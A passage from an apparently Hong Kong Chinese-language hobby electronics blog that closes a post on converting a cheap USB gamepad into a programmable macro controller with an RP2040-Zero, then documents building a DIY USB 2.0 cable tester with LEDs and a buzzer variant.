<td>特殊</td>
</tr>
</tbody>
</table>
<p>CircuitPython 雖然能夠在 Mac OS 模擬 鍵盤 及 滑鼠<br/>
但無法模擬 遊戲控制器,只會當作 USB儲存裝置 掛載<br/>
Android 則部分有效(電話、平板),部分無效(電視)<br/>
同樣只會當作 USB儲存裝置 掛載</p>
<p>而 Arduino 的 遊戲控制器 雖然能夠在 Android 運作<br/>
但 控鈕 及 轉軸 的配對則與電腦不同,部分配對無效<br/>
同樣能夠正確模擬 鍵盤 及 滑鼠</p>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<p>這個 改裝遊戲控制器 實際就是一種 <span class="mra-highlighter">巨集輸入裝置 (Macro Input Device)</span><br/>
早已存在 巨集鍵盤 或 巨集滑鼠 或 巨集遊戲控制器 等裝置<br/>
典型的 巨集輸入裝置 都是連按裝置,部分裝置能調節連按速度<br/>
而現今的 巨集輸入裝置 都需要在安裝專用的軟件才能修改 巨集 的內容<br/>
普遍都是一鍵輸入一連串操作,或不斷重覆指定的操作;但內容都無法超越 遊戲控制器 原本的功能<br/>
這些 巨集輸入裝置 價錢大約 100 至 1000港幣,功能越多、按鈕越多,價錢越貴</p>
<p>而在下只是以15元港幣購買 USB遊戲控制器 外,其他都是現存工具及零件<br/>
改裝及編寫程式的時間總共大約10小時<br/>
但回報就是在下能夠完全掌握所有功能及完整的自訂操作,這是無法用金錢買到的獎勵<br/>
例如要觸發 舊 Bio Hazard 的快速射擊漏洞,暫時沒有一個現有的 巨集輸入裝置 能完美執行</p>
<a name="總結懶惰的代價"></a><h5 class="mra-h5">懶惰的代價</h5>
<p>由於在下沒有預先計算跳線由焊墊至 RP2040-Zero 的通孔的長度<br/>
因此直接將跳線連同絕緣的外皮直接焊接到 RP2040-Zero 的通孔<br/>
但有部分跳線被絕緣的物料包裹而沒有焊接到通孔上,只是外皮熔解而黏附在通孔上<br/>
結果令跳線接觸不良,導致訊號時不穩定,最後完全沒有訊號<br/>
因此在下再次焊接不良的跳線,量度適合長度的跳線後開線,確保金屬部分完全焊接到通孔<br/>
最後訊號終於穩定</p>
<p>另外由於某些線路的位置影響按鈕按下時的準確度,同樣令訊號不穩定<br/>
結果同樣需要重新焊接來解決問題</p>
<a name="總結改裝計劃"></a><h5 class="mra-h5">改裝計劃</h5>
<p>由於 RP2040-Zero 總共引出 25支數碼引腳,這個改裝只是使用 16支數碼引腳<br/>
因此原本在下還想使用 剩餘的9支數碼引腳 來連接 按鈕 或 切換器 來製作額外操作<br/>
(例如開關射按功能,切換按鈕功能模式)<br/>
但要安置額外的元件,即是需要改裝外殼,不過破壞性的改裝,失敗機會很高<br/>
而且 RP2040-Zero 背後 9支數碼引腳 的 焊墊 實在太細小,還有旁邊就是其他引腳的通孔、零件、微控制器<br/>
非常接近,焊接時稍有偏差便會破壞其他零件,還是先領取這次成功,留待將來再製作</p>
<p>這個改裝 遊戲控制器 其中一個想法主要來自 Steam Deck<br/>
Steam Deck 可以將額外的 L4, R4, L5, R5 按鈕設計成類似巨集的操作<br/>
然而,雖然能夠行執行點擊的操作,但無法執行高速連按、同時按下、按下指定時間後釋放等操作<br/>
因此在下開始構思這個改裝遊戲控制器的想法<br/>
而另一個想法是由於有些網頁遊戲,都必須使用鍵盤操作,而且無法修改操作配置<br/>
因此在下希望能夠改裝置遊戲控制器來突破操作配置的限制</p>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://datasheets.raspberrypi.com/rp2040/rp2040-datasheet.pdf#page=14">ADC_AVDD @ RP2040 規格書 (第14頁)</a></li>
<li><a href="https://www.waveshare.com/w/upload/4/4c/RP2040_Zero.pdf">RP2040-Zero 線路圖</a></li>
</ul>
</div>
<!--
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihL0qCnIkQ_GXHWyVmQIny1X4_9ik8FJk9Yha74F5h0V74nzfewvOlcmnhusoimR4e8W1YOOqNh0I4fOSawP4aKTeEaJczPhdXUVP5Rs2qoZ_9AxpEewas8O6117Su-77S6JcpeWO5bhk4VsuEk9q1eTQBtWoZzFvH0hEUoORYG829uhriPkd5f0ah8PQ/w0/gamepad-mod-rp2040-013.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihL0qCnIkQ_GXHWyVmQIny1X4_9ik8FJk9Yha74F5h0V74nzfewvOlcmnhusoimR4e8W1YOOqNh0I4fOSawP4aKTeEaJczPhdXUVP5Rs2qoZ_9AxpEewas8O6117Su-77S6JcpeWO5bhk4VsuEk9q1eTQBtWoZzFvH0hEUoORYG829uhriPkd5f0ah8PQ/w600/gamepad-mod-rp2040-013.jpg"/></a></div>
<p>說明說明說明說明說明</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNG4pXjnv3bCfCn3-s-g1Oi-gVJAiFbR3OmzBSkttV0FMcrvwOiOAsOaui0ZghlLqJUs4Vy_YA-P7QiVJRcPW0Vu6hiGCFQc8oRrjrqkNnH__iGeNi2TqAaHKvfpOHy3D4ANkDlmR5igIBju0GuTwYWeu6OfD4HZICjbMkA_PWsa-DIu_BDyO7qBYX-PY/w0/gamepad-mod-rp2040-014.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNG4pXjnv3bCfCn3-s-g1Oi-gVJAiFbR3OmzBSkttV0FMcrvwOiOAsOaui0ZghlLqJUs4Vy_YA-P7QiVJRcPW0Vu6hiGCFQc8oRrjrqkNnH__iGeNi2TqAaHKvfpOHy3D4ANkDlmR5igIBju0GuTwYWeu6OfD4HZICjbMkA_PWsa-DIu_BDyO7qBYX-PY/w600/gamepad-mod-rp2040-014.jpg"/></a></div>
<p>說明</p>
-->HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-29579036147522337502024-01-28T16:38:00.000+08:002024-01-28T16:38:01.515+08:00自製 USB測線器<p>之前提及在下要處理大量 USB線,但每次都要借用 USB裝置 來測試非常不方便<br/>
一來需要借用 電腦 或 智能電話 才能測試,二來操作不良可能會損壞 USB裝置 ,因小失大更得不償失<br/>
因此在下嘗試製作一個能夠檢查 USB線路 的裝置</p>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#麵包板測試">麵包板測試</a>
<ul>
<li><a href="#麵包板電路圖及測試">電路圖及測試</a></li>
<li><a href="#麵包板線路原型">線路原型</a></li>
<li><a href="#麵包板實際線路">實際線路</a></li>
<li><a href="#麵包板測試效果">測試效果</a></li>
</ul>
</li>
<li><a href="#萬用板測試">萬用板測試</a>
<ul>
<li><a href="#萬用板電路圖及測試">電路圖及測試</a></li>
<li><a href="#萬用板線路原型">線路原型</a></li>
<li><a href="#萬用板實際線路">實際線路</a></li>
<li><a href="#萬用板測試效果">測試效果</a></li>
</ul>
</li>
<li><a href="#補充資料">補充資料</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<p>在下曾經將 USB線 兩端分別連接到對應的 USB插口<br/>
再用 萬用標的蜂鳴器功能檢查 兩端USB插口 的引腳,如果線路接通蜂鳴器便會響</p>
<p>雖然這種方法可行,但要懂得區分每支引腳的用途,還要使用萬用標檢查,非常不方便<br/>
因此計劃製作一個只需要接駁 USB線 ,不需要特殊技術及工具便可以顯示基本檢查結果的工具</p>
<a name="麵包板測試"></a><h4 class="mra-h4">麵包板測試</h4>
<a name="麵包板電路圖及測試"></a><h5 class="mra-h5">電路圖及測試</h5>
<p>電路圖能夠快速透過線條及符號便能設計簡單概念電路<br/>
而且網上亦有大量只需要免費、開源的網頁應用便能做到效果<br/>
因此在下繪製 <a href="https://www.falstad.com/circuit/circuitjs.html?ctz=CQAgjCAMB0l3BWKsBMKDMZ2TANhwCwAcBKAnESiAbiEgenQKYC0YYAUAG4goDsVPL0hFwtSFGoSkE2dAQcATuAIEQRCShHrZ4BJA54qW0Rt4CdvEABMmAMwCGAVwA2AFxYum18L7k4OAHcVNSETMSglEOjwsFVJMH0g6LjQ+PCDZVThUXCMvQNg7Nj0i0yYizyyguTii2z0dHEohqackEbxGqN2usF0m3tnd09vP0kYAJ687X5jWcHHVw8vHwh15CncedzKveNF4ZWxiQh-TmntTvMqa6pbJZHVib9YTmC5iOuhQo62oWuZl+33id20wLa4TuZWS0NubWuBgAzjdoiC1LpHC4kUwOCjPlDIeDJFicXjUZ84S9Sbj8RZrgy2piHNjcQAPXhgKi4CD8CC4NShKgABQA9oEmIoADpIgAyAFEACIcDkoMx4CTochiRhCkAANQAwoaZQB1ACWinZvDMaDUWs0-Go4CoipYZst1rVmiIoi1xjIED1iqlAAcPVaVTbNQh4bcEPQXSAAOIAORDSItkZR2XV8WypxAbkUTlxwUBmv+8V+nzMFciHMSSDA2jAZEY7CDSYAQk43G5RQA7Wr52i52QcIA">電路圖及測試其效果</a></p>
<a name="麵包板線路原型"></a><h5 class="mra-h5">線路原型</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibylV9wXjWKVewXfIRxHM3R0F1T_cEc7xDcn2fUVOTV_hvjhdnV6ItCyE7s_oTFkeM0S-EhImDjdQBbvX3yGUoJjIEuSEE-C2I19m7ro6xOAjPjufiN8oAdi0cpCcpkC-NBsNI1E8pBX0q4yB-y1a47baMOO9RumFona3_yHx7WTDUSZLae0C6TaBTCII/w0/diy-usb-cable-tester-001.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibylV9wXjWKVewXfIRxHM3R0F1T_cEc7xDcn2fUVOTV_hvjhdnV6ItCyE7s_oTFkeM0S-EhImDjdQBbvX3yGUoJjIEuSEE-C2I19m7ro6xOAjPjufiN8oAdi0cpCcpkC-NBsNI1E8pBX0q4yB-y1a47baMOO9RumFona3_yHx7WTDUSZLae0C6TaBTCII/w0/diy-usb-cable-tester-001.png"/></a></div>
<p>在下考慮到想方便區分線路,因此使用與 USB線對相應的LED的顏色<br/>
而由於不存取黑色光,因此使用比較深色的藍色代替黑色<br/>
(紫色線路用作 模擬USB線路)</p>
<a name="麵包板實際線路"></a><h4 class="mra-h4">實際線路</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVLrK2UQdc19GBQo39HOwYOfIeQ8wdNDVsfJdew3_KaTTAHdjo_fzuQBa2u0YK6eUJ8Dh2VOqAwXGwCa5x_QhAu81kg27lOs0o8sTYsr4ojWMUfUM16gwnfTn4n9dSIgBMDXjWv1sACvcxwcWPcjD_sSIb6FQz9VEW9PsYvUWui6zIU6ukO7qfHxlc7rk/w0/diy-usb-cable-tester-002.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVLrK2UQdc19GBQo39HOwYOfIeQ8wdNDVsfJdew3_KaTTAHdjo_fzuQBa2u0YK6eUJ8Dh2VOqAwXGwCa5x_QhAu81kg27lOs0o8sTYsr4ojWMUfUM16gwnfTn4n9dSIgBMDXjWv1sACvcxwcWPcjD_sSIb6FQz9VEW9PsYvUWui6zIU6ukO7qfHxlc7rk/w0/diy-usb-cable-tester-002.jpg"/></a></div>
<p>實際線路比線路原型用較少線路</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOwC0mFBeJ3iPxJ1GibotwknVbAt8FONxm2-Hx8Kp1YGDVAqeMpOM9pLiRQ3SwsFD32T3JW6K44tUU9AMwyJSdTh7Q_eHcMVI9J_efgOCg-m7m5uCXhSScuZKMFw23HyJRJqzEsVbHQziFJ3uas3NIq2WqqKekgVv7MlJu5kBy_Ji7IUGsYrgoOezQrgg/w0/diy-usb-cable-tester-003.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOwC0mFBeJ3iPxJ1GibotwknVbAt8FONxm2-Hx8Kp1YGDVAqeMpOM9pLiRQ3SwsFD32T3JW6K44tUU9AMwyJSdTh7Q_eHcMVI9J_efgOCg-m7m5uCXhSScuZKMFw23HyJRJqzEsVbHQziFJ3uas3NIq2WqqKekgVv7MlJu5kBy_Ji7IUGsYrgoOezQrgg/w0/diy-usb-cable-tester-003.jpg"/></a></div>
<p>連接電源線,黃色LED會亮著,表示可以測試 USB線路</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTwsABPH9Ps3ITMcppuEOJJ8mUy2UsG8sAwXMfTDZgybMEuaEreIktZIRKIGuqhVY8KjOyUfSXQPaXJCPQPW8Ms2ZTdeU1hHytcNvUCtQP83s_XO5hF8RLDyeh1ofmoIKJWRiJ_Fsn5tpxzrUN15Mc5297ZcipALfBqPwMpS9STqGVZDNfBK75882ZFro/w0/diy-usb-cable-tester-004.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTwsABPH9Ps3ITMcppuEOJJ8mUy2UsG8sAwXMfTDZgybMEuaEreIktZIRKIGuqhVY8KjOyUfSXQPaXJCPQPW8Ms2ZTdeU1hHytcNvUCtQP83s_XO5hF8RLDyeh1ofmoIKJWRiJ_Fsn5tpxzrUN15Mc5297ZcipALfBqPwMpS9STqGVZDNfBK75882ZFro/w0/diy-usb-cable-tester-004.jpg"/></a></div>
<a name="麵包板測試效果"></a><h5 class="mra-h5">測試效果</h5>
<p>在下以一條聲稱 Micro USB Type-B 插頭能正反都能連接的 USB線 為測試例子<br/>
將 USB線 連接後,按下按鈕,紅白綠藍LED 都亮著,表示 USB線 中的 VCC, D-, D+, GND 線路都能夠連接</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-nq7uppvxh2m3mTVyG4pVhMYL1hbv_haFywBymWnRrByBEwBp9sKoQDAWTMkzctTCaXg3VavqbJnJucsnJtprZDHyzGmpnD9MsezxYAg4Gstorcx9sjqY6hWBa9o0lWvL9pXoGSiKm1Xckr9IdipAxO3qQDmQUOgYM5uqtyIB_P19hh1Rv8v0krCtR_o/w0/diy-usb-cable-tester-005.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-nq7uppvxh2m3mTVyG4pVhMYL1hbv_haFywBymWnRrByBEwBp9sKoQDAWTMkzctTCaXg3VavqbJnJucsnJtprZDHyzGmpnD9MsezxYAg4Gstorcx9sjqY6hWBa9o0lWvL9pXoGSiKm1Xckr9IdipAxO3qQDmQUOgYM5uqtyIB_P19hh1Rv8v0krCtR_o/w0/diy-usb-cable-tester-005.jpg"/></a></div>
<p>當 Micro USB Type-B 插頭反轉連接後,只有 白綠藍LED 亮著,但 紅LED 沒有亮著,即是 VCC 線路無法連接<br/>
即是這條 Micro USB Type-B 插頭雖然能夠反轉連接,但 VCC 沒有接通,即是連基本的通電功能都沒有</p>
<a name="萬用板測試"></a><h4 class="mra-h4">萬用板測試</h4>
<a name="萬用板電路圖及測試"></a><h5 class="mra-h5">電路圖及測試</h5>
<p>同樣繪製 <a href="https://www.falstad.com/circuit/circuitjs.html?ctz=CQAgjCAMB0l3BWKsBMKDMZ2TANhwCwAcBKAnESiAbiEgenQKYC0YYAUAG4goDsVPL0hFwtSFGoSkE2dAQcAzuAIExKtUVngQAMwCGAG0VMOAJw0gtw0dYlgEkDniooRVifyrWqAEyYGAK6GAC4shky+OhByOBwA7pZCbqJCThZgqpYplvaOCUlZmWo56dnuOaXg+YnFNtkCUOYNrhWNeU61WV6W6OjizXV9tDnDkg5OLvV1PTMg-kGh4ZE62jBxU5VtraJ+AfrBYRFREKfIG7g7vI09t-P7h8tR9pLrnJvuYz1f94tHK9oYrBOIlZrQxmkChDwf0PE1EhCsl93J0QMjRF92lDYd9YWMnMpZkjYXVtAZjKZCTdPjiUZJySYlNdXI1MVQyUZGVSqGNebCORSOAAPap8ahisBkNSOajgKgAeQAdgB6eW6XTC3hgKi4CD8CC4NRqbUgAAKAHt4kwzAAdRQAGQAogARTUoax4CTochiRjGqgANQAwkG7QB1ACWZlMIvdnhQam98bF-pAzpY4ajMd4PiIGLQvDIEFTzptAAdM9G3dZ0Aged60Qh6HKQABxABypcUkaryjqHqKWReITMgVMCNhNZJQ4KPSntDsmocSDA7kljHYxZbACFAiEQubFRwgA">電路圖及測試其效果</a><br/>
考慮到連接後不需要立即通電使用,接駁 USB線 後不需要立即檢查,避免接駁不良而產生危險<br/>
因此在電路圖上加入 開關掣 及 按壓按鈕 作為緩衝操作</p>
<a name="萬用板線路原型"></a><h5 class="mra-h5">線路原型</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ28Sowq8Mpxy3PczmdVVEWYG5umQOb7q3UYDHfC9DmP9xaaSg0xXjq_kJe4h9qgsgOvsPAuU5vcDSddvpAO_xpf7DJLduN2vCXIjxI0xPsLmjdGeLzG5Gq2GAbDzEkNpoGd5F_1pBXBKB_-chHa8V954yxcmR3oV8Q0LUdII8GBbNPRvMIvc7Yg2T69A/w0/diy-usb-cable-tester-013.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ28Sowq8Mpxy3PczmdVVEWYG5umQOb7q3UYDHfC9DmP9xaaSg0xXjq_kJe4h9qgsgOvsPAuU5vcDSddvpAO_xpf7DJLduN2vCXIjxI0xPsLmjdGeLzG5Gq2GAbDzEkNpoGd5F_1pBXBKB_-chHa8V954yxcmR3oV8Q0LUdII8GBbNPRvMIvc7Yg2T69A/w600/diy-usb-cable-tester-013.png"/></a></div>
<p>由於在下節省成本,因此使用 <span aria-label="8厘米 乘 2厘米">8cm x 2cm</span> 萬用板,所以設計線路原型時,是以 28爛 6列 的通孔數量為基礎<br/>
(由於 LED 及 USB 的圖示佔據太多畫面,因此用引腳座代替;而 USB外殼的固定腳則以藍色圓形表示)</p>
<a name="萬用板實際線路"></a><h5 class="mra-h5">實際線路</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9L9u3MVV5lobRq1syG8vQpiINJrzl_Tqek8ZrAzYKNsfRmUKaPZRdBofDyAr_rqhnh6iGBXdqTvuNUx4cq-quMhlwqyfN8JudNo1sSJJuLaUPYyxHhPb2KTv9U_lLJiNWuF3qQ8PRSFJ9g-X4EL5tzp7Y9B9U2B1o88EGhX4MSc3Pz1LQhBbRDaIS6Tw/w0/diy-usb-cable-tester-007.jpg"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9L9u3MVV5lobRq1syG8vQpiINJrzl_Tqek8ZrAzYKNsfRmUKaPZRdBofDyAr_rqhnh6iGBXdqTvuNUx4cq-quMhlwqyfN8JudNo1sSJJuLaUPYyxHhPb2KTv9U_lLJiNWuF3qQ8PRSFJ9g-X4EL5tzp7Y9B9U2B1o88EGhX4MSc3Pz1LQhBbRDaIS6Tw/w600/diy-usb-cable-tester-007.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZJ9If9xRypDGY-wPI0oSOLA4hPnpXXWOaS1MkOLAdU4oGYS2gJFkrMX2cUcjxkRyNvYFXq2g3EzKp9lspwtDswWaV9PRlOi4UJeU0KIMNVkc5DhnyeKiSDZbHq60YxQP8uElDKuRfyahK42djoruwbMMTlaomG8y6duDTGB1kaU4S4nLhZYIQtYmRUs4/w0/diy-usb-cable-tester-008.jpg"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZJ9If9xRypDGY-wPI0oSOLA4hPnpXXWOaS1MkOLAdU4oGYS2gJFkrMX2cUcjxkRyNvYFXq2g3EzKp9lspwtDswWaV9PRlOi4UJeU0KIMNVkc5DhnyeKiSDZbHq60YxQP8uElDKuRfyahK42djoruwbMMTlaomG8y6duDTGB1kaU4S4nLhZYIQtYmRUs4/w600/diy-usb-cable-tester-008.jpg"/></a></div>
<p>在下沒有仔細記錄每個焊接步驟,畢竟只是根據線路原型焊接跳線或零件<br/>
但焊接零件時,最好會由小至大、由內至外的次序焊接,否則焊接時很易容影響附近的零件</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwpeT3Sp0vy6EbaFOMLttGefslaBajy4oLhHi6rTBFkJO48ykxVvDxJUlZRA_Z8CLUyGRumNOhxXmNvNU_wHSgDnWFaIjFV64VfoVtB9QYUxOM6fEqbphsZBjVT4T0wL1kVbXv4Zezz-PvhIKxOBfk9cXUJbkqTjmADHmrPkte5EkqOkgb5KAm-OrPrCw/w0/diy-usb-cable-tester-011.jpg"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwpeT3Sp0vy6EbaFOMLttGefslaBajy4oLhHi6rTBFkJO48ykxVvDxJUlZRA_Z8CLUyGRumNOhxXmNvNU_wHSgDnWFaIjFV64VfoVtB9QYUxOM6fEqbphsZBjVT4T0wL1kVbXv4Zezz-PvhIKxOBfk9cXUJbkqTjmADHmrPkte5EkqOkgb5KAm-OrPrCw/w600/diy-usb-cable-tester-011.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5OOiwSz_tHW0s-tkKNP26Bhh2mARVItoz7_FzVUUJ8EmK3Wrv-nOopjeM-Z0m980eaAH82jXpDooJVXxbywSBB7b1bgnGxfxSaEHmep9un57rVRGAFxr2Sf_lXZQ_6eNzYajVhWXU1dJBggcjsgQiy3yC85X26Xry7MazLd2hW155vNhVZXg0HLQdjUE/w0/diy-usb-cable-tester-012.jpg"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5OOiwSz_tHW0s-tkKNP26Bhh2mARVItoz7_FzVUUJ8EmK3Wrv-nOopjeM-Z0m980eaAH82jXpDooJVXxbywSBB7b1bgnGxfxSaEHmep9un57rVRGAFxr2Sf_lXZQ_6eNzYajVhWXU1dJBggcjsgQiy3yC85X26Xry7MazLd2hW155vNhVZXg0HLQdjUE/w600/diy-usb-cable-tester-012.jpg"/></a></div>
<p>檢查器暫時只支援 USB 2.0 ,並由 USB Type-A 連接到:</p>
<div>
<ul>
<li>USB Type-B</li>
<li>Mini USB Type-B</li>
<li>Micro USB Type-B</li>
<li>USB Type-C</li>
</ul>
</div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH11Ac1WTpv5QIfXPUDZRN61n0GrSYj0jPsZOS4OMYX7988M1jkmsu0LBiXboseBRuAoM0QPtlqO4TJ8RylP1oQZsbpJiBjPdNaACjo2psCm2036xA0lJULpOaG8DlQL1QgTnsq71CBf5OKEPRUQvVtvEwNPWzbBYdq5aZe_kb-ZwTciV8qizl-ZFiwNA/w0/diy-usb-cable-tester-009.jpg"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH11Ac1WTpv5QIfXPUDZRN61n0GrSYj0jPsZOS4OMYX7988M1jkmsu0LBiXboseBRuAoM0QPtlqO4TJ8RylP1oQZsbpJiBjPdNaACjo2psCm2036xA0lJULpOaG8DlQL1QgTnsq71CBf5OKEPRUQvVtvEwNPWzbBYdq5aZe_kb-ZwTciV8qizl-ZFiwNA/w600/diy-usb-cable-tester-009.jpg"/></a></div>
<p>由於避免連接電源立即通電,因此附加開關切換器<br/>
(切換到 黃色LED 方向為啟動)</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAdxb39EBeBnyDxrTohzA5-jfKxAQBzfKx-_GMeZtRRom4K74YU7A4zlNyRQ7PzV4fHrpHTjAdXm6XgDpW6BPKCbDb0DcCxQiDdTBuJufw_VMVdwkXbHt4L88JwIBT51oRL4_f7jVynpzYgvTuqUtAFobmuPXuVqcManmUMbZy6gI6IWDeGXrgP8FSZfY/w0/diy-usb-cable-tester-010.jpg"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAdxb39EBeBnyDxrTohzA5-jfKxAQBzfKx-_GMeZtRRom4K74YU7A4zlNyRQ7PzV4fHrpHTjAdXm6XgDpW6BPKCbDb0DcCxQiDdTBuJufw_VMVdwkXbHt4L88JwIBT51oRL4_f7jVynpzYgvTuqUtAFobmuPXuVqcManmUMbZy6gI6IWDeGXrgP8FSZfY/w600/diy-usb-cable-tester-010.jpg"/></a></div>
<a name="萬用板測試效果"></a><h5 class="mra-h5">測試效果</h5>
<div><a href="https://photos.google.com/share/AF1QipN9g72-IucTYM6A56RhbouyN-DDaxhuhDHl1U4hXZsUMbZamH-53oTLxwyNfSHf_g/photo/AF1QipMP7D9Oz6zuvjn_h97o6LF36RlCpdGN6UEgK1oP?key=NnZrdG00RDdORkV0UU9IbXJqd1M4eWJNQTMtM1FB"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://lh3.googleusercontent.com/pw/ABLVV86ocV6od937y0mZgsIk_fjrZFnYW0K6YImJd2A4mMlsUT6YR4KDTUAM4V1Q0CtFI6ADsKVFJ8fQOf6-KuOUh1hVsujjQccoGJen54PB0TiUtZvmlyy3oQAgtVUKfurcK8R_v6vAqXdwYAsYut1LMljKuWv7IZdRFXZcQgWmQ3ymXebJ0_AEreaRNuoYAV1bQPHvY3uh8hUwyX87_KPNlpgxoMlY3Pct8dk59Dp8Fr9_oZ5HB6nNDzwbYL5-sgim2iINgwUSv3wBCBd9vqexE7daPC94toqlRrEEhqkwtt866clVJ3WDR1Ja4C3t6mZeSXu_EiqA3Su51xwGhXsFp6qibpVSvre_fMi6lnVdsUN4dXpx86pviE5asWlSduahKghypdYxtCLgPwYTugtixtW-zl6fgG8BWp5ao1_9wlp5_0gLH5DwQx3jSVNE42KGz5jb6PSo9XgrniFFo4bEfuKU786rs6og-EYQg2kJbMtxmAKyRPHQ2c1Zwl5RhFs6nslf36cOo_2DNBBAiaff40aasBpWASrsYyXr5CyLH6I4NErxuHYjqSAUKo4Ah_SzzX0U5_dNAmB7Qnrgh1hkTC_3jrvRtmpXusJKHLCWOLYfHqaADlBlF5iSAqYms36NG748NCw8BgEHiLxON7VUMAJdBsLWWnW2a67_ywcNKgzKgOmCKlVpxNK4oX--_ikZymCh6CBezb4_6QPvtQNxEGNEZ-kkWuEs7mmXHVu_3Xut0y02AUjhCzsmJG0AZ6RKYf5kJFIhXp37A8UfPnYBMp9_iNQmkWWcDxSN6dU_nYeVWZGRSBEhz11tUqjrloPpjxyaERqZqYfUaBIC6mYI-adiZh1Xi__nYUuFZJdE--9Bss2lrVxb3ueOHs15tO8FORNRHTJyif5O2r8lCuwHxXPso_6PTYcB7RxPdUefnhYiWUqksPPPKhf2VBqLWCE=w600"/></a></div>
<p>與 USB 2.0 線芯顏色相應的 LED顏色</p>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<p>由於在其中一個朋友視力不好,但對這件工具都有興趣,因此在下以 蜂鳴器 代替 LED<br/>
而這位朋友亦絕少需要使用 USB Type-B 的裝置,因此將其省卻</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFWkg5ezADVuAA3ihnTRF7eXXi4ZnQFd6qDzMOcGpFTXco_DmeBAGSxkIVd8jYUa4MZCd7Jy55tqx1wpDWcwFCn_AMP5v-ZSVMT3Ph_QjbouLJJwGWGnDFkxj7DUfNdbeAWA752Ey1x-bRL-IbdnYKpkqttE304De4nN8aIn25VM0ixaGuOBLvHhN3iuE/w0/diy-usb-cable-tester-015.jpg"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFWkg5ezADVuAA3ihnTRF7eXXi4ZnQFd6qDzMOcGpFTXco_DmeBAGSxkIVd8jYUa4MZCd7Jy55tqx1wpDWcwFCn_AMP5v-ZSVMT3Ph_QjbouLJJwGWGnDFkxj7DUfNdbeAWA752Ey1x-bRL-IbdnYKpkqttE304De4nN8aIn25VM0ixaGuOBLvHhN3iuE/w600/diy-usb-cable-tester-015.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQPwrsVYLGCSldBb5Lts3BTHmK_kCnNGYVbhLZMortDWG4_-ZdwsvUjlrMz9mr2F3VRlC1UZk9tw2z91gpesjHq1vYjXIYUUPw6KVgxsaKNO6DPoWwNmix7QayqTuD08enWIHP3jVjcc1-RYtkPlVUkyCmAdPCL1utV7snZ7U1dziqORlHGPUxuf5lqDQ/w0/diy-usb-cable-tester-016.jpg"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQPwrsVYLGCSldBb5Lts3BTHmK_kCnNGYVbhLZMortDWG4_-ZdwsvUjlrMz9mr2F3VRlC1UZk9tw2z91gpesjHq1vYjXIYUUPw6KVgxsaKNO6DPoWwNmix7QayqTuD08enWIHP3jVjcc1-RYtkPlVUkyCmAdPCL1utV7snZ7U1dziqORlHGPUxuf5lqDQ/w600/diy-usb-cable-tester-016.jpg"/></a></div>
<p>使用蜂鳴器的 USB測線器</p>
<p>線路連接基本上與 LED版本 相同</p>
